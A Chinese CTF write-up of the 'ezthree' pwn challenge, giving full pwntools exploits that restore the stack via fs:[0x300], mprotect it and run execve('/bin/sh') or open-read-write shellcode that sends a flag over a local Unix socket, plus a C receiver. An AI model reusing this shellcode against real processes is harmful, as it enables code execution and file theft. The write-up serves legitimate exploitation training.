0%

shellcode+socket本地进程通信

ezthree 复现

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et
1
2
3
4
➜  ezthree ./ezthree 
INput >> yehllow
code > 12346
over!!!
1
2
3
4
5
6
ezthree: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a03fffb75b5c647383a7faca81d76966f05f7564, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

代码分析

其实前面的代码都没有什么用,关键就是最后可以注入一个 shellcode

1
2
3
4
5
6
7
8
9
10
if ( LODWORD(buf[5]) )
{
output("You want to do sometings ?\n");
read_s((char *)shellcode + 0xFD8, 0x28uLL);
close(0);
close(1);
close(2);
memcpy(shellcode, overlap, 0x3DuLL);
shellcode();
}

但执行该 shellcode 前,需要先执行以下代码:

1656742003103

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0xf3e03346000
00:0000│ rax rdi 0xf3e03346000 ◂— xor rax, rax /* 0xf7894c0bb0c03148 */
01:00080xf3e03346008 ◂— mov rsi, r15 /* 0xc03148050ffe894c */
02:00100xf3e03346010 ◂— xor rbx, rbx /* 0x3148c93148db3148 */
03:00180xf3e03346018 ◂— ror byte ptr [rax + 0x31], cl /* 0x48f63148ff3148d2 */
04:00200xf3e03346020 ◂— xor ebp, ebp /* 0xc0314de43148ed31 */
05:00280xf3e03346028 ◂— xor r9, r9 /* 0x314dd2314dc9314d */
06:00300xf3e03346030 ◂— fisttp dword ptr [rbp + 0x31] /* 0x4ded314de4314ddb */
07:00380xf3e03346038 ◂— xor esi, esi /* 0x909090ff314df631 */

限制点:常规寄存器全被清空(除了 RIP),尤其是 RSP,导致 shellcode 不能正常执行

漏洞点:第一次 input 可以无限写入数据

入侵思路

在网上借鉴了其他大佬的 wp 后,我发现 mov rsp, fs:[0x300] 这条指令可以恢复栈,我的思路为:

  • 利用第一次 input 在栈上留下 execve(“/bin/sh” , 0 , 0) 的汇编代码(第二次 input 不够长)
  • mprotect(rsp , 0x1000 , 7) 使栈获取执行权限
  • jmp rsp + jmp $+0x32 执行栈上的 execve(“/bin/sh” , 0 , 0)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*

p=process("./ezthree")
elf=ELF("./ezthree")
libc=ELF("./libc-2.23.so")
context(os="linux",arch="amd64",log_level='debug')

def ret():
p.sendlineafter("code > ","ret")

def zero():
p.sendlineafter("code > ","zero")

def nop():
p.sendlineafter("code > ","nop")

def jmp(addr):
p.sendlineafter("code > ","jmp")
p.sendline(str(addr))

def movrax(addr):
p.sendlineafter("code > ","movrax")
p.sendline(str(addr))

#gdb.attach(p, "b *$rebase(0x185E)\n")

shellcode=asm("""
jmp $+0x32
""")

shellcode+="".ljust(0x30,"b")

shellcode+=asm("""
mov r8 ,rsp
ADD r8 ,0x4b
mov rax, 59
xor rdx, rdx
xor rsi, rsi
mov rdi, r8
syscall
""")

shellcode+="/bin/sh\x00"

p.recvuntil(">> ")
p.sendline(shellcode)

p.recvuntil("> ")
p.sendline("aaaa")

shell=asm("""
mov rsp, fs:[0x300]
push 0x1000
pop rsi
push 7
pop rdx
push 0xA
pop rax
mov rdi, rsp
and rdi, 0xFFFFFFFFFFFFF000
syscall
sub rsp,0x67
jmp rsp
""")

p.recvline()
p.send(shell)
p.interactive()

结果:

1
2
3
4
0x7ffd20125212    syscall  <SYS_execve>
path: 0x7ffd20125214 ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
1
2
3
4
5
6
7
pwndbg> ni
process 8910 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x42f10b76fd8
Cannot insert breakpoint 1.
Cannot access memory at address 0x559debc0185e
  • 虽然获取 shell 了,但是有个无法避免的报错

直接 get shell 不行,我便想试试 ORW,但又有一个问题:

1
2
3
close(0);
close(1);
close(2);
  • close 0 1 2,必然要找其他通信方式

网上有一个大佬采用自己创建 socket 管道去通信,orw flag 发送

关于 socket 通信可以参考:Linux socket 本地进程间通信

1
2
3
4
0x7fff329758b5    syscall  <SYS_socket>
domain: 0x1
type: 0x1
protocol: 0x0
1
2
3
4
0x7fff329758d5    syscall  <SYS_connect>
fd: 0x0 (socket:[159357])
addr: 0x7fff32975889 ◂— 0x420001 // serv_addr
len: 0x10

关键点就是 SYS_socketSYS_connect ,执行完这两个函数后,就可以开始 ORW 了:

1
2
3
4
0x7fff3297591e    syscall  <SYS_open>
file: 0x7fff32975881 ◂— 0x67616c66 /* 'flag' */
oflag: 0x0
vararg: 0x0
1
2
3
4
0x7fff3297592f    syscall  <SYS_read>
fd: 0x1 (/home/yhellow/桌面/ezthree/flag)
buf: 0x7fff32975881 ◂— 0x67616c66 /* 'flag' */
nbytes: 0x50
1
2
3
4
0x7fff3297593b    syscall  <SYS_write>
fd: 0x0 (socket:[159357])
buf: 0x7fff32975881 ◂— 'flag{yhellow}\n'
n: 0x50

结果:

1657196032861

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*

p=process('./ezthree')
context(os="linux",arch="amd64",log_level='debug')

def ret():
p.sendlineafter("code > ","ret")

def zero():
p.sendlineafter("code > ","zero")

def nop():
p.sendlineafter("code > ","nop")

def jmp(addr):
p.sendlineafter("code > ","jmp")
p.sendline(str(addr))

def movrax(addr):
p.sendlineafter("code > ","movrax")
p.sendline(str(addr))

#gdb.attach(p, "b *$rebase(0x185E)")

serv_addr = 0x420001 # serv_addr

shellcode=asm("""
mov rax, 41
mov rdi, 1
mov rsi, 1
mov rdx, 0
syscall
push 0
mov rcx, 0x420001
push rcx
mov rsi, rsp
xor rdi, rdi
mov rax, 42
mov rdx, 0x10
syscall
jmp $+0x32
""")

shellcode+="b"*0x30

shellcode+=asm("""
push 0x67616c66
mov rax, 2
xor rdx, rdx
mov rdi, rsp
xor rsi, rsi
syscall

xor rdi, rdi
xchg rdi, rax
mov rsi, rsp
mov rdx, 0x50
syscall

xor rdi, rdi
mov rax, 1
syscall

""")

p.recvuntil(">> ")
p.sendline(shellcode+"a"*0x20)

p.recvuntil("> ")
p.sendline("aaaa")

shell=asm("""
mov rsp, fs:[0x300]
push 0x1000
pop rsi
push 7
pop rdx
push 0xA
pop rax
mov rdi, rsp
and rdi, 0xFFFFFFFFFFFFF000
syscall
sub rsp,0x67
jmp rsp
""")

p.recvline()
p.send(shell)
p.interactive()

用于接收 flag 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/* gcc recv.c -o recv -g */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define CAN_SERVICE "B"
int main(void)
{
int ret;
int len;
int accept_fd;
int socket_fd;
static char recv_buf[1024];
socklen_t clt_addr_len;
struct sockaddr_un clt_addr;
struct sockaddr_un srv_addr;

socket_fd=socket(PF_UNIX,SOCK_STREAM,0);
if(socket_fd<0)
{
perror("cannot create communication socket");
return 1;
}

// 设置服务器参数
srv_addr.sun_family=AF_UNIX;
strncpy(srv_addr.sun_path,CAN_SERVICE,sizeof(srv_addr.sun_path)-1);
unlink(CAN_SERVICE);

// 绑定socket地址
ret=bind(socket_fd,(struct sockaddr*)&srv_addr,sizeof(srv_addr));

if(ret==-1)
{
perror("cannot bind server socket");
close(socket_fd);
unlink(CAN_SERVICE);
return 1;
}

// 监听
ret=listen(socket_fd,1);
if(ret==-1)
{
perror("cannot listen the client connect request");
close(socket_fd);
unlink(CAN_SERVICE);
return 1;
}

// 接受connect请求
len=sizeof(clt_addr);
accept_fd=accept(socket_fd,(struct sockaddr*)&clt_addr,&len);
if(accept_fd<0)
{
perror("cannot accept client connect request");
close(socket_fd);
unlink(CAN_SERVICE);
return 1;
}

// 读取和写入
memset(recv_buf,0,1024);
int num=read(accept_fd,recv_buf,sizeof(recv_buf));
printf("Message from client (%d)) :%s\n",num,recv_buf);

// 关闭socket
close(accept_fd);
close(socket_fd);
unlink(CAN_SERVICE);
return 0;
}
1
2
3
4
0x40128a <main+148>    call   bind@plt                      <bind@plt>
fd: 0x3 (socket:[162182])
addr: 0x7fffffffde00 ◂— 0x420001 // serv_addr
len: 0x6e
  • 保证 bind 的 serv_addr 和 SYS_connect 的一样就可以了

小结:

当时很坐牢,百思不得其解,赛后复现时才发现自己的知识点不到位,看了大佬们的 wp 后收获很多:

  • mov rsp, fs:[0x300] 这条指令可以恢复栈(fs 寄存器中装有 TLS)
  • 利用 socket 本地进程间通信来绕过 close